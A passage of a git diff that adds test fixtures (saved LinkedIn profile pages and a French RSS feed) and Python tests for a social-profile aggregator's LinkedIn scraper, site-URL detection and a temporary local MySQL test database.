+      <li><a href="http://www.linkedin.com/find/o.html" >O</a></li>
+      <li><a href="http://www.linkedin.com/find/p.html" >P</a></li>
+      <li><a href="http://www.linkedin.com/find/q.html" >Q</a></li>
+      <li><a href="http://www.linkedin.com/find/r.html" >R</a></li>
+      <li><a href="http://www.linkedin.com/find/s.html" >S</a></li>
+      <li><a href="http://www.linkedin.com/find/t.html" >T</a></li>
+      <li><a href="http://www.linkedin.com/find/u.html" >U</a></li>
+      <li><a href="http://www.linkedin.com/find/v.html" >V</a></li>
+      <li><a href="http://www.linkedin.com/find/w.html" >W</a></li>
+      <li><a href="http://www.linkedin.com/find/x.html" >X</a></li>
+      <li><a href="http://www.linkedin.com/find/y.html" >Y</a></li>
+      <li><a href="http://www.linkedin.com/find/z.html" >Z</a></li>
+      <li type="disc"><a href="http://www.linkedin.com/find/in.html" >more</a></li>
+    </ol>
+  </div>
+
+  <ul>           
+       <li class="first"><a href="http://www.linkedin.com/static?key=company_info" >About LinkedIn</a></li>
+    <li><a href="http://www.linkedin.com/static?key=privacy_policy" >Privacy Policy</a></li>
+    <li><a href="http://www.linkedin.com/static?key=customer_service" >Help &amp; <acronym title="Frequently Asked Questions">FAQ</acronym></a></li>
+    <li><a href="http://www.linkedin.com/static?key=advertising_info" >Advertising</a></li>
+  </ul>
+  <p>Copyright &copy; 2007 LinkedIn Corporation. All rights reserved.</p>
+  <p class="terms">Use of this site is subject to express <a href="http://www.linkedin.com/static?key=user_agreement" >terms of use</a>, which prohibit commercial use of this site.<br>By continuing past this page, you agree to abide by these terms.</p>
+</div>
+
+
+</body>
+</html>
+
diff --git a/tests/nose/data/linkedin/unknown b/tests/nose/data/linkedin/unknown
new file mode 100644 (file)
index 0000000..2f6ae4d
--- /dev/null
@@ -0,0 +1,93 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
+<head>
+  <title>LinkedIn: Profile Not Found</title>
+  <link rel="shortcut icon" type="image/ico" href="/favicon.ico" />
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <link rel="stylesheet" type="text/css" href="/css/style.css" />
+  <script type="text/javascript" src="/js/scripts.js"></script>
+  <script type="text/javascript" src="/js/adproxy.js"></script>
+  <script type="text/javascript">var google_keywords = null, google_ad_client = 'pub-2283433109277150', dbl_ord = Math.random() * 10000000000000000;</script>
+</head>
+<body>
+
+<div id="header">
+  
+<h1 id="logo"><a href="http://www.linkedin.com/home?trk=ppro_logo" ><img src="/img/logos/logo.gif" width="129" height="36" alt="LinkedIn" id="logo"></a></h1>
+<ul id="nav-utility">
+  <li class="nav-skip">Skip to Content</li>
+  <li id="nav-join"><strong>Not a User?</strong>&nbsp;&nbsp;<a href="https://www.linkedin.com/secure/register?trk=ppro_joinnow" >Join Now</a></li>
+</ul>
+<hr />
+<div id="nav-secondary" class="guest">&nbsp;</div>
+
+
+
+</div>
+
+
+
+<div id="main">
+       <h1>Profile Not Found</h1>
+
+  
+  <div class="contain containmid">
+  
+               <p>An <em>exact match</em> for <strong>dasjkdasdjahs</strong> could not be found.</p>
+               
+       <p>LinkedIn users have access to advanced people search functionality, including search by last name only, find similar names, as well as search by company, industry and other keywords.</p>
+  <p><a href="http://www.linkedin.com/home" >Sign in or join LinkedIn here.</a></p>  
+  </div>
+
+</div>
+
+<div id="footer" class="guest">
+  <div id="directory">
+    <h3>People directory:</h3>
+    <ol type="a">
+      <li><a href="http://www.linkedin.com/find/a.html" >A</a></li>
+      <li><a href="http://www.linkedin.com/find/b.html" >B</a></li>
+      <li><a href="http://www.linkedin.com/find/c.html" >C</a></li>
+      <li><a href="http://www.linkedin.com/find/d.html" >D</a></li>
+      <li><a href="http://www.linkedin.com/find/e.html" >E</a></li>
+      <li><a href="http://www.linkedin.com/find/f.html" >F</a></li>
+      <li><a href="http://www.linkedin.com/find/g.html" >G</a></li>
+      <li><a href="http://www.linkedin.com/find/h.html" >H</a></li>
+      <li><a href="http://www.linkedin.com/find/i.html" >I</a></li>
+      <li><a href="http://www.linkedin.com/find/j.html" >J</a></li>
+      <li><a href="http://www.linkedin.com/find/k.html" >K</a></li>
+      <li><a href="http://www.linkedin.com/find/l.html" >L</a></li>
+      <li><a href="http://www.linkedin.com/find/m.html" >M</a></li>
+      <li><a href="http://www.linkedin.com/find/n.html" >N</a></li>
+      <li><a href="http://www.linkedin.com/find/o.html" >O</a></li>
+      <li><a href="http://www.linkedin.com/find/p.html" >P</a></li>
+      <li><a href="http://www.linkedin.com/find/q.html" >Q</a></li>
+      <li><a href="http://www.linkedin.com/find/r.html" >R</a></li>
+      <li><a href="http://www.linkedin.com/find/s.html" >S</a></li>
+      <li><a href="http://www.linkedin.com/find/t.html" >T</a></li>
+      <li><a href="http://www.linkedin.com/find/u.html" >U</a></li>
+      <li><a href="http://www.linkedin.com/find/v.html" >V</a></li>
+      <li><a href="http://www.linkedin.com/find/w.html" >W</a></li>
+      <li><a href="http://www.linkedin.com/find/x.html" >X</a></li>
+      <li><a href="http://www.linkedin.com/find/y.html" >Y</a></li>
+      <li><a href="http://www.linkedin.com/find/z.html" >Z</a></li>
+      <li type="disc"><a href="http://www.linkedin.com/find/in.html" >more</a></li>
+    </ol>
+  </div>
+
+  <ul>           
+       <li class="first"><a href="http://www.linkedin.com/static?key=company_info" >About LinkedIn</a></li>
+    <li><a href="http://www.linkedin.com/static?key=privacy_policy" >Privacy Policy</a></li>
+    <li><a href="http://www.linkedin.com/static?key=customer_service" >Help &amp; <acronym title="Frequently Asked Questions">FAQ</acronym></a></li>
+    <li><a href="http://www.linkedin.com/static?key=advertising_info" >Advertising</a></li>
+  </ul>
+  <p>Copyright &copy; 2007 LinkedIn Corporation. All rights reserved.</p>
+  <p class="terms">Use of this site is subject to express <a href="http://www.linkedin.com/static?key=user_agreement" >terms of use</a>, which prohibit commercial use of this site.<br>By continuing past this page, you agree to abide by these terms.</p>
+</div>
+
+
+
+
+</body>
+</html>
+
diff --git a/tests/nose/test_linkedin.py b/tests/nose/test_linkedin.py
new file mode 100644 (file)
index 0000000..ff75833
--- /dev/null
@@ -0,0 +1,80 @@
+import unittest
+import os
+from services.command.linkedin import LinkedInScrapeCommand, LinkedInCompare
+
+class TestLinkedIn(unittest.TestCase):
+    def setUp(self):
+        self.t = "tests/nose/data/linkedin/reidhoffman"
+        self.t_add = "tests/nose/data/linkedin/reidhoffman_added"
+        self.t_remove = "tests/nose/data/linkedin/reidhoffman_removed"
+        self.t_empty = "tests/nose/data/linkedin/reidhoffman_empty"
+
+        self.pages = [ "tests/nose/data/linkedin/christopherblizzard", 
+                       "tests/nose/data/linkedin/clarkbw", 
+                       "tests/nose/data/linkedin/reidhoffman",
+                       "tests/nose/data/linkedin/johnath",
+                       "tests/nose/data/linkedin/johnlilly" ]
+
+        self.unknown = "tests/nose/data/linkedin/unknown"
+
+    def tearDown(self):
+        pass
+
+    def test_parse(self):
+        """
+        Test the linkedin parser against some well-known pages.
+        """
+        s = LinkedInScrapeCommand()
+        for i in self.pages:
+            print i
+            s.doParse(i)
+            print s.entries
+            assert s.entries is not None
+
+    def test_change(self):
+        """
+        Test whether or not linkedin changes are properly detected.
+        """
+        lc = LinkedInCompare()
+        s = LinkedInScrapeCommand()
+        s.doParse(self.t)
+        print s.entries
+
+        print "*** checking for add"
+        s_add = LinkedInScrapeCommand()
+        s_add.doParse(self.t_add)
+        print s_add.entries
+        c = lc.getChanges(s.entries, s_add.entries)
+        print c
+        assert len(c["added"]) == 1 and c["added"][0] == u"Awesome Dude at Some Other Place"
+
+        print "*** checking for remove"
+        s_remove = LinkedInScrapeCommand()
+        s_remove.doParse(self.t_remove)
+        print s_remove.entries
+        c = lc.getChanges(s.entries, s_remove.entries)
+        print c
+        assert len(c["removed"]) == 1 and c["removed"][0] == u"Chairman and President, Products at LinkedIn"
+
+        print "*** checking for empty"
+        s_empty = LinkedInScrapeCommand()
+        s_empty.doParse(self.t_empty)
+        print s_empty.entries
+        c = lc.getChanges(s.entries, s_empty.entries)
+        print c
+        assert len(c["removed"]) == 10
+
+    def test_unknown(self):
+        """
+        Test if we can detect a "not found" profile page on linkedin.
+        """
+        s = LinkedInScrapeCommand()
+
+        print("*** invalid user page")
+        s.doParse(self.unknown)
+        assert not s.found_user
+
+        print("*** valid user page")
+        s.doParse(self.t)
+        assert s.found_user
+        
diff --git a/tests/nose/test_newsite.py b/tests/nose/test_newsite.py
new file mode 100644 (file)
index 0000000..5637e8e
--- /dev/null
@@ -0,0 +1,154 @@
+# Tests that make sure we do the right thing when we add new sites
+
+import unittest
+from services.master.newsite import NewSite
+from services.command.newsite import NewSiteTryURL
+from services.command.identica import Identica
+from services.command.delicious import Delicious
+
+class TestNewSite(unittest.TestCase):
+    def setUp(self):
+        pass
+
+    def tearDown(self):
+        pass
+
+    def test_linkedin(self):
+        """
+        Test URL parsing for linkedin.
+        """
+        urls = [ "http://www.linkedin.com/in/christopherblizzard",
+                 "http://www.linkedin.com/in/a/b/c",
+                 "http://www.linkedin.com/pub/1/95/3ab" ]
+        for i in urls:
+            ns = NewSite(None)
+            print("trying %s" % i)
+            ns.url = i
+            ns.normalize()
+            print("type: %s" % ns.type)
+            assert ns.type == "linkedin"
+            print("url: %s" % ns.url)
+            assert ns.url == i
+
+    def test_picasa(self):
+        """
+        Test URL parsing for picasa.
+        """
+        urls = [ "http://picasaweb.google.com/clarkbw",
+                 "http://picasaweb.google.com/clarkbw/Halloween2007",
+                 "http://picasaweb.google.com/clarkbw/Halloween2007/photo#1212",
+                 "http://picasaweb.google.com/data/feed/base/user/clarkbw",
+                 "http://picasaweb.google.com/data/feed/base/user/clarkbw?a=b",
+                 "http://picasaweb.google.com/data/feed/api/user/clarkbw",
+                 "http://picasaweb.google.com/data/feed/api/user/clarkbw?a=b" ]
+
+        for i in urls:
+            ns = NewSite(None)
+            print("trying %s" % i)
+            ns.url = i
+            ns.normalize()
+            print("type: %s" % ns.type)
+            assert ns.type == "picasa"
+            print("url: %s" % ns.url)
+            assert ns.url == "http://picasaweb.google.com/clarkbw"
+
+    def test_identica(self):
+        """
+        Test to make sure we can detect identi.ca urls
+        """
+        good_urls = ['http://identi.ca/blizzard',
+                     'http://identi.ca/p']
+
+        bad_urls = ['http://identi.ca/',
+                    'http://something.else.entirely/something']
+
+        for i in good_urls:
+            x = Identica()
+            print("trying %s" % i)
+            assert(x.isIdentica(i))
+
+        for i in bad_urls:
+            x = Identica()
+            print("trying not %s" % i)
+            assert(not x.isIdentica(i))
+
+    def test_delicious(self):
+        """
+        Test to make sure we can detect del.icio.us urls
+        """
+        good_urls = ['http://del.icio.us/something',
+                     'http://del.icio.us/foo']
+
+        bad_urls = ['http://del.icio.us/',
+                    'http://del.icio.us/something/rss',
+                    'http://something.else']
+
+        for i in good_urls:
+            x = Delicious()
+            print("trying %s" % i)
+            assert(x.isDelicious(i))
+
+        for i in bad_urls:
+            x = Delicious()
+            print("trying not %s" %i)
+            assert(not x.isDelicious(i))
+
+    def test_delicious_preferred(self):
+        """
+        Test that we can pick out the right feed from a del.icio.us url
+        """
+        data = [['http://del.icio.us/rss/danicomar', u'application/rss+xml', u"RSS feed of danicomar's bookmarks"],
+                ['http://del.icio.us/rss/tags/danicomar', u'application/rss+xml', u"RSS feed of danicomar's tags"]]
+        url = 'http://del.icio.us/danicomar'
+
+        nstu = NewSiteTryURL(None, None)
+        pf = nstu.getPreferredFeed(url, data)
+        assert(pf[0] == data[0][0])
+        assert(pf[1] == data[0][1])
+        assert(pf[2] == data[0][2])
+
+    def test_twitter_preferred(self):
+        """
+        Test to pick out preferred twitter feed
+        """
+
+        data = [[u'http://twitter.com/statuses/user_timeline/1019381.rss',
+                 u'application/rss+xml',
+                 u'Tom Callaway (RSS)'],
+                [u'http://twitter.com/statuses/user_timeline/1019381.atom',
+                 u'application/atom+xml',
+                 u'Tom Callaway (Atom)'],
+                [u'http://twitter.com/statuses/friends_timeline/1019381.rss',
+                 u'application/rss+xml',
+                 u'Tom Callaway and friends (RSS)'],
+                [u'http://twitter.com/statuses/friends_timeline/1019381.atom',
+                 u'application/atom+xml', u'Tom Callaway and friends (Atom)']]
+
+        url = "http://twitter.com/spotrh"
+
+        nstu = NewSiteTryURL(None, None)
+        pf = nstu.getPreferredFeed(url, data)
+        assert(pf[0] == data[1][0])
+        assert(pf[1] == data[1][1])
+        assert(pf[2] == data[1][2])
+
+    def test_twitter_fail(self):
+        """
+        Test to make sure non-twitter feed will return none
+        """
+
+        data = [[u'http://twitter.com/statuses/user_timeline/1019381.rss',
+                 u'application/rss+xml',
+                 u'Tom Callaway (RSS)'],
+                [u'http://twitter.com/statuses/friends_timeline/1019381.rss',
+                 u'application/rss+xml',
+                 u'Tom Callaway and friends (RSS)'],
+                [u'http://twitter.com/statuses/friends_timeline/1019381.atom',
+                 u'application/atom+xml', u'Tom Callaway and friends (Atom)']]
+
+        url = "http://twitter.com/spotrh"
+
+        nstu = NewSiteTryURL(None, None)
+        assert(nstu.getPreferredFeed(url, data) == None)
+
+
diff --git a/tests/twisted/__init__.py b/tests/twisted/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/tests/twisted/database.py b/tests/twisted/database.py
new file mode 100644 (file)
index 0000000..3cb81db
--- /dev/null
@@ -0,0 +1,143 @@
+from twisted.internet import reactor, defer
+from twisted.enterprise import adbapi
+from twisted.internet.protocol import ProcessProtocol
+
+from twisted.python.failure import Failure
+
+from turbogears import config
+
+import types
+import sqlobject
+from sqlobject.inheritance import InheritableSQLObject
+import whoisi.model as model
+
+import shutil
+import os
+import posix
+import time
+
+config.update({"sqlobject.dburi": "mysql://root@127.0.0.1:9999/whoisi?charset=utf8"})
+
+class MySQLTestInstance:
+
+    my_cnf = """
+[mysqld]
+default-character-set=utf8
+"""
+
+    command = "/usr/bin/mysqld_safe"
+    args = ["/usr/bin/mysqld_safe",
+            "--defaults-file=/tmp/whoisi/my.cnf",
+            "--socket=/tmp/whoisi/mysql.sock",
+            "--port=9999",
+            "--log-error=/tmp/whoisi/mysql.log",
+            "--datadir=/tmp/whoisi/db",
+            "--skip-grant-tables",
+            "--pid-file=/tmp/whoisi/mysql.pid"]
+    dir = "/tmp/whoisi"
+    pid = None
+
+    connection_type = "MySQLdb"
+
+    connection_dict = dict(cp_reconnect=True,
+                           unix_socket="TCP",
+                           host="127.0.0.1",
+                           port=9999,
+                           user="root",
+                           db="whoisi",
+                           charset="utf8")
+
+    creation_dict = dict(cp_reconnect=True,
+                         unix_socket="TCP",
+                         host="127.0.0.1",
+                         port=9999,
+                         user="root",
+                         charset="utf8")
+
+    connection = None
+
+    def __init__(self):
+        self.model = model
+
+    def create(self):
+#        print("create")
+        # kill any running ones
+        if self.kill_mysql():
+            time.sleep(5)
+
+        # make a work dir
+        shutil.rmtree(self.dir, ignore_errors=True)
+        os.mkdir(self.dir)
+        os.mkdir(self.dir + "/db")
+        os.mkdir(self.dir + "/db/data")
+
+        # create our temp dir
+        f = open("/tmp/whoisi/my.cnf", "w")
+        f.write(self.my_cnf)
+        f.close()
+
+        self.dbproto = ProcessProtocol()
+
+        # start the server and forget about input and output
+        self.dbtransport = reactor.spawnProcess(self.dbproto,
+                                                self.command,
+                                                args=self.args, env=os.environ)
+        self.dbtransport.loseConnection()
+        self.dbtransport = None
+        self.dbproto = None
+
+        self.d = defer.Deferred()
+
+        reactor.callLater(5, self.serverStarted)
+
+        return self.d
+
+    def serverStarted(self, *args):
+#        print("server started")
+        self.connection = adbapi.ConnectionPool(self.connection_type,
+                                                **self.creation_dict)
+
+        d = self.connection.runQuery("create database whoisi")
+        d.addCallback(self.databaseCreated)
+
+    def databaseCreated(self, *args):
+#        print("setting up tables")
+        try:
+            self.setupTables()
+            self.connection.close()
+            self.connection = None
+        except Exception, e:
+            self.d.errback(Failure(e))
+
+#        print("done")
+
+        self.d.callback(None)
+
+    def setupTables(self):
+        for item in self.model.__dict__.values():
+            if isinstance(item, types.TypeType) and issubclass(item,
+                sqlobject.SQLObject) and item != sqlobject.SQLObject \
+                and item != InheritableSQLObject:
+                item.createTable(ifNotExists=True)
+
+    def kill_mysql(self):
+        try:
+            f = open("/tmp/whoisi/mysql.pid", "r")
+            d = f.read().strip()
+            #print("killing %d\n" % int(d))
+            posix.kill(int(d), 15) # 15 is SIGTERM
+            return True
+        except:
+            return False
+
+    def destroy(self):
+        if self.connection:
+            self.connection.close()
+        self.kill_mysql()
+        time.sleep(3)
+
+
+
+
+
+
diff --git a/tests/twisted/local/__init__.py b/tests/twisted/local/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/tests/twisted/local/data/GasteroProd b/tests/twisted/local/data/GasteroProd
new file mode 100644 (file)
index 0000000..64dbd37
--- /dev/null
@@ -0,0 +1,457 @@
+<?xml version="1.0" encoding="UTF-8"?>\r
+<?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/rss2frenchfull.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/itemcontent.css" type="text/css" media="screen"?><rss xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:yt="http://gdata.youtube.com/schemas/2007" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">\r
+   <channel>\r
+      <title>Gastero Prod - Flux complet</title>\r
+      <description>Pipes Output</description>\r
+      <link>http://pipes.yahoo.com/pipes/pipe.info?_id=4e46a1d067163bb87f997478177e511a</link>\r
+      <pubDate>Sun, 29 Jun 2008 18:05:51 PDT</pubDate>\r
+      <generator>http://pipes.yahoo.com/pipes/</generator>\r
+      <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/GasteroProd" type="application/rss+xml" /><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FGasteroProd" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://www.rojo.com/add-subscription?resource=http%3A%2F%2Ffeeds.feedburner.com%2FGasteroProd" src="http://blog.rojo.com/RojoWideRed.gif">Subscribe with Rojo</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/GasteroProd" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FGasteroProd" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FGasteroProd" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FGasteroProd" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://add.my.yahoo.com/content?lg=fr&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2FGasteroProd" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/bn/intatm_fr_1.gif">Subscribe with Mon Yahoo!</feedburner:feedFlare><feedburner:browserFriendly>Vous devez utiliser un outil d'aggrégation de flux de syndication pour vous abonner à ce flux du site Gastero Prod.</feedburner:browserFriendly><item>\r
+         <title>Lien : colivri</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/321240964/about</link>\r
+         <description>Colivri est une plate-forme conçue pour faciliter et encourager le partage de livres. C'est un outil de gestion de bibliothèques pour les particuliers.&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/321240964" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_6e17b6e01a0d8cfdbf0b8e25476d8370</guid>\r
+         <pubDate>Fri, 27 Jun 2008 03:13:30 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.colivri.org%2Fabout</feedburner:awareness><feedburner:origLink>http://www.colivri.org/about</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Wordle fait de jolis nuages de tags</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/320779261/wordle-fait-de-jolis-nuages-de-tags.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Pas mal de blogs ont déjà parlé ces derniers jours de &lt;a rel="nofollow" target="_blank" href="http://wordle.net/" class="spip_out"&gt;Wordle&lt;/a&gt;, un service permettant de réaliser via une applet Java&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb1" name="nh1" id="nh1" class="spip_note" title='[1] Tr&amp;#232;s Web 1.0, &amp;#231;a !'&gt;1&lt;/a&gt;] des nuages de &lt;i&gt;tags&lt;/i&gt; assez jolis.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Voyez par exemple celui produit par extraction automatique de &lt;a rel="nofollow" target="_blank" href="http://del.icio.us/nhoizey" class="spip_out"&gt;mes tags del.icio.us&lt;/a&gt;&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_517 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L450xH265/wordle-delicious-17253.png' width='450' height='265' alt="Nuage de tags extrait de del.icio.us" title="Nuage de tags extrait de del.icio.us" style='height:265px;width:450px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Et cet autre produit avec les tags de Gastero Prod&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2" name="nh2" id="nh2" class="spip_note" title='[2] Vous noterez au passage que Wordle a le bon go&amp;#251;t &amp;#8212; &amp;#224; la diff&amp;#233;rence de (...)'&gt;2&lt;/a&gt;]&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_518 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L450xH256/wordle-gasteroprod-ca172.png' width='450' height='256' alt="Nuage de tags extrait de Gastero Prod" title="Nuage de tags extrait de Gastero Prod" style='height:256px;width:450px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Mais ce que je n&amp;#8217;ai vu personne signaler, c&amp;#8217;est qu&amp;#8217;à part produire une image, permettant certes de réaliser de beaux t-shirts ou autres gadgets, ces nuages de tags ne peuvent malheureusement pas être utilisés sur un site pour la navigation, puisque le résultat n&amp;#8217;est pas du tout cliquable.&lt;/p&gt; &lt;p&gt;Ce qui n&amp;#8217;est bien entendu pas le cas du &lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#tagscloud" class="spip_out"&gt;nuage de tags de Gastero Prod&lt;/a&gt;, qui n&amp;#8217;est pourtant pas si moche non plus, par rapport à ce qu&amp;#8217;on peut voir ailleurs&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_519 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L450xH249/nuage-de-tags-gastero-prod-ea54a.png' width='450' height='249' alt="Nuage de tags de Gastero Prod" title="Nuage de tags de Gastero Prod" style='height:249px;width:450px;'/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt; &lt;div style="border:1px solid #333;"&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh1" name="nb1" class="spip_note" title="Notes 1"&gt;1&lt;/a&gt;] Très Web 1.0, ça&amp;nbsp;!&lt;/p&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2" name="nb2" class="spip_note" title="Notes 2"&gt;2&lt;/a&gt;] Vous noterez au passage que Wordle a le bon goût &amp;mdash; à la différence de del.icio.us &amp;mdash; d&amp;#8217;accepter les &lt;a rel="nofollow" target="_blank" href="http://wordle.net/faq#space" class="spip_out"&gt;tags contenant des espaces&lt;/a&gt;...&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/320744399" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/320779261" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/wordle-fait-de-jolis-nuages-de-tags.html</guid>\r
+         <pubDate>Thu, 26 Jun 2008 10:47:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fwordle-fait-de-jolis-nuages-de-tags.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/wordle-fait-de-jolis-nuages-de-tags.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : www.ve-hotech.com</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/320096420/</link>\r
+         <description>Lancée en avril 2008 par d'anciens cadres de Philips et de NEC, Ve-hotech est une jeune entreprise innovante française qui bénéficie du soutien du Ministère de la Recherche. Elle se positionne sur le marché de l'Informatique et du Multimédia avec p&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/320096420" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_34ceb96840ad6daf9f1e6b71d2af8bde</guid>\r
+         <pubDate>Wed, 25 Jun 2008 16:19:08 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.fr.ve-hotech.com%2F</feedburner:awareness><feedburner:origLink>http://www.fr.ve-hotech.com/</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Les 3 Suisses mutilent leurs mannequins !</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/320080390/les-3-suisses-mutilent-leurs-mannequins.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;C&amp;#8217;est aujourd&amp;#8217;hui qu&amp;#8217;ont débuté les soldes, et j&amp;#8217;ai décidé pour une fois d&amp;#8217;en profiter en complétant ma garde robe, notamment avec des jeans, que je trouve incroyablement chers en temps &amp;#171;&amp;nbsp;normal&amp;nbsp;&amp;#187;. Je suis donc allé faire une recherche dans Google pour un Levi&amp;#8217;s 512, et je suis tombé sur différents sites, dont celui des 3 Suisses où j&amp;#8217;ai découvert avec horreur qu&amp;#8217;ils ont mutilé leur mannequin.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Voici en effet &lt;a rel="nofollow" target="_blank" href="http://www.3suisses.fr/FrontOfficePortail/catalogue_fra/homme/shopping-par-produit/pantalons/jeans/jean-coupe-bootcut-levis-512-longueur-us-32/11008-jean-coupe-bootcut-levis-512-longueur-us-32.html" class="spip_out"&gt;la page&lt;/a&gt; sur laquelle je suis tombé&amp;nbsp;:&lt;/p&gt; &lt;dl class='spip_document_515 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/3Suisses_-_Jean_Levis_512.png" title='PNG - 561.6 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH205/3Suisses_-_Jean_Levis_512-75e4e-1214433232.png' width='400' height='205' alt='PNG - 561.6 ko' style='height:205px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;Un Jean Levi&amp;#8217;s 512 sur le site des 3 Suisses&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;Et regardez de plus prêt la photo, et notamment la main du mannequin&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_516 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L437xH285/3Suisses_-_Jean_Levis_512_-_zoom-1214430601.png' width='437' height='285' alt="" style='height:285px;width:437px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;C&amp;#8217;est une honte de maltraiter ainsi ses mannequins&amp;nbsp;!&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/320056359" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/320080390" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/les-3-suisses-mutilent-leurs-mannequins.html</guid>\r
+         <pubDate>Wed, 25 Jun 2008 14:10:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fles-3-suisses-mutilent-leurs-mannequins.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/les-3-suisses-mutilent-leurs-mannequins.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : En ergonomie, le choix des bons symboles est primordial</title>\r
